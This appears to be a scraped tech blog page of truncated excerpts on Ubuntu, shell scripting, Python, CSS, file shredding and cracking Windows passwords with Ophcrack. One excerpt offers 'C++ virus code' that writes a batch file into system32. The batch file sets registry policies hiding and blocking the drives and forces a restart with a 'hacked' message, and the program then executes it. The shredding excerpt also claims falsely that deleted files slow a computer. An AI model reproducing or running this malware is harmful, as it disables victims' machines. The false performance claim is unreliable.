Tech Kamar

Most of us use the windows operating system. In our windows pc or laptop, we do keep a lot files in our computers and when we don’t require it we just delete it. For temporary deletion, we just send it to the recycle bin or when we need to delete it forever use the delete permanent file option (by Pressing SHIFT + DELETE ). So do you think that when press SHIFT + DELETE the file or folder gets deleted forever. Then, the answer is NO . When you press SHIFT + DELETE the file is not really getting deleted .Instead only the starting Index of the file is removed from your computer. That means rest of the file contents is still remaining in some block of your hard disk. This is the reason why your system automatically slows down after deleting a lot of files. So, to avoid this problem we use a technique called SHREDDING . So what is Shredding? Why should we Shred all our unwanted files rather than deleting? Shredding is the process of securely deleting your...

Nowadays, different models of smartphones are coming out quite frequently, but they use only a few operating systems and recently the need for something new has been rising sensibly. However, Canonical Ltd. (the company behind Ubuntu, Bazaar and other systems and products) is almost ready to release a new mobile operating system – Ubuntu Phone. It was announced and previewed on January 2 and its official release date is about the end of February. Overview The main idea of the OS is to serve the users of smartphones just like the version. The core technologies of the two systems (the desktop and the mobile) are the same, which means that they would be able to use one and the same applications, which is what Microsoft is trying to develop for Windows Phone 8 and Windows 8 for desktops. What is more, the Ubuntu Phone system will come with all the components of the Desktop version so, when the user connect the device to an external monitor, it will realise a copy of the full version for...

Amid the hullabaloo about Windows 8.1 update, the world’s leading open source operating system Ubuntu has got its latest update. Called Ubuntu 13.10, codenamed Saucy Salamander, the new update goes official with a peculiar feature, i.e. extension of support for phones as well. Canonical has kept its word by designing the new Ubuntu update compatible for phones too. It is a great piece of news. Well, the new Ubuntu update has been in incubation for last six months. The update now brings together a lot of new features including updated apps and other advances including augmented search capabilities in the Unity desktop shell and more. Though offering some improvements, in look and feel, Saucy Salamander is really identical to its predecessor. It is a relatively thin update. Sadly, XMir, one of the significant items on Saucy Salamander roadmap, has been put aside for the next version. Meanwhile, during its processing, Canonical hugely concentrated on its new display server...

Here at How-To Geek, we’ve covered many different ways to reset your password for Windows—but what if you can’t reset your password? Or what if you’re using drive encryption that would wipe out your files if you changed the password? It’s time to crack the password instead. To accomplish this, we’ll use a tool called Ophcrack that can crack your password so you can login without having to change it. Download Ophcrack The first thing we will need to do is download the CD image from Ophcrack’s website. There are two options to download, XP or Vista, so make sure you grab the right one. The Vista download works with Windows Vista or Windows 7, and the only difference between XP and Vista is the “tables” Ophcrack uses to determine the password. Once the .iso file is downloaded, burn it to a CD using the guide below. If you are going to be cracking your password on something that doesn’t have a CD drive, such as a netbook, download the universal USB creator from Pe...

Hi friends,here i give you give the C++ virus code .  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also. C++ Virus Code : #include < windows.h > #include < fstream.h > #include < iostream.h > #include < string.h > #include < conio.h >   void main() { ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/ write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\...

Hi All, This Tutorial is dedicated to all the web programmers around the world. While Designing Websites as web programmers we all face a small headache with images and texts.We have separate tags in html for images and also for text. We use the tag br to go to next line.But, if we have and image and a text the text that is next to image will automatically go down without even specifying a break. So we  use lot of poistioning in css. But its will only double the work.So i am gonna teach you how to get this solved in a simple way Web programmers have a problem with  text coming below  image when use use an img tag before any text (see the Image Below) So to Solve This Problem what you have to do ? Well the Answer is simple if you want text to be left side of image use the code below <p> <img src="new.jpg" style="float:left">This is the sample text on right Side </p> See image below and if you want the text to be on right side of t...

Hi Guys ,In this Tutorial I am going to Teach you How to shutdown your Ubuntu PC or laptop using keyboard shortcut. Well, this tutorial isn't really about a keyboard shortcut to shutdown Ubuntu but This will help you to shutdown your Ubuntu Machine without even moving your mouse. Windows Has its own Shortcut key to display the options for shutdown that is ALT+F4 but Ubuntu does not have an option to shutdown from a keyboard shortcut. So read below to know how its done in Ubuntu. This Trick will only work in Ubuntu distributions with UNITY interface( All Ubuntu Editions starting from Ubuntu 11.04 and above) So the shortcut to shutdown your Ubuntu Machine is to Go to your Desktop that is minimize all windows and press ALT button , then it will display a Box which tell you to enter a command Then type “sh” and you will get an option saying Device > Shutdown Now, Press the ENTER Key twice and your Ubuntu Machine Starts Turning of...

This Code is a Linux shell script to count no of occurrences of a digit in a number .So What Exactly this Program Does. This Shell Script will first accept Ask the user to Enter A number .Then it Asks the user to Enter the digit of which the occurrence is to be found. then it displays the no of occurrences in the number. for example if the user Enters a number "34565" and he wants to find how many times the digit "5" is repeated in the number "34565" so he executes this piece of codes and gets the answer as "2" Code is Given below (save it as occur.sh) ___________________________________________________________________________________________ #to count the occurrences in a give n digit c=0 echo "Enter Number " read num x=$num echo "Enter the digit whose occurance has to be found " read digit while [ $num -ne 0 ] do rem=`expr $num % 10` if [ $rem -eq $digit ] then c=`expr $c + 1` fi num=`expr $nu...

Hi guys This Tutorials is a very small introductory tutorial into python. The Main reason behind me writing this tutorial on python is that I wanted to teach you Python in a very simpler way and I'm sure that this programming Language Python will help you to make your coding simpler and easy to understand. Guess what this language is not taught in many of the universities either for Under Graduation or for Post Graduation So lets get Started.... First of All What is Python and Who invented it ? Python is a general purpose interpreted, interactive, object-oriented and high-level programming language. Python was developed by Guido van Rossum in the late eighties and early nineties at the National Research Institute for Mathematics and Computer Science in the Netherlands. Now Lets Have A small overview about the Python Programming Language Python is Interpreted -That is you can execute it line by line in a python shell Python is intera...

# program to  read a name and Display it echo Enter Your Name read name echo "Your Name is " $name Save the above Code as "readname.sh" Now to Execute this code "sh filename.sh" in terminal See Output of the Code Now Lets See How this Code works All Lines starting with a # is a comment that is it will be neglected while the code is being executed. The Second line there is "echo Enter Your Name" . echo is used to display  the Contents on the Screen & this works similar to the printf function in C Language The Third there is read name . this will read a string from the user here we have used the word "name". This works similar to scanf statement of C language The fourth line  will display the Name you entered.

This Tutorial will Teach You How to code a Linux Shell Script and How to Execute A linux Shell Script from the Terminal First, you will have to start the Terminal by pressing CTRL + ALT + T(For Ubuntu users) Now Type "gedit filename.sh". Here gedit is the Command to start your Default file editor and Filename.sh is the name of the file that you r creating In Linux .sh stands for SHELL. So all the Shell Programs  are to be saved with the extension ".sh". Like If you have a program to add 2 numbers u can crating it by typing "gedit addnum.sh" Now When You type "gedit filename.sh" You will get the Default Text Editor Window Now type your Shell Programs And Click on Save Button to Execute Your Shell Program just type "sh filename.sh" and it will display the output......Hope you like this.... 

This tutorial is a brief introduction to the LINUX SHELL programming First of all What is a Terminal in Linux? Terminal is an Interface for Linux where you can Enter your commands and execute them. This is similar to the Command Prompt Application in Windows Operating Systems. This Helps you to perform various operations like File Manipulation,Process management, Memory Management ,etc. Now Lets get started to see How to Work with Terminal. The Terminal Window Shown Below is the Terminal Window of Ubuntu. To View the Terminal in Ubuntu Press CTRL + ALT + T. As You can See in the Above Image. You Have something like “ kamar@kamar-Aspire-E1-531 ” here “ kamar ” is the username of my Ubuntu OS and “ kamar-Aspire-E1-531 ” is my Laptop Name. Now You Will Study the First Command “ ls ” The Command “ls” is used to display all the Files and Directories in your Current Folder that is “ home/kamar ” as my username is “ kamar ” ...

Ubuntu has touched the lives of many among us in different ways. I can't speak for everyone here and hence I will share a few of my experiences with Ubuntu. For me, Ubuntu was the gateway to Linux and the whole open source way of thinking. Ubuntu taught me that computers are not all about Windows OS and that there are far better alternatives than the "default" Windows desktop which you have been made to see and learn from a younger age. Lets go back in time and see how Ubuntu evolved over the years to become what it is now - a totally awesome, user friendly and fast changing Linux based distro for human beings. [image via ubuntu wallpapers ] A Brief History of Ubuntu A new version of Ubuntu is released every 6 months and as of Oct 2010, a total of 15 stable releases of Ubuntu has happened. Each release also has a specific code name which are made using an adjective and an animal with the same first letter (e.g. Hardy Heron, Maverick Meerkat). We wi...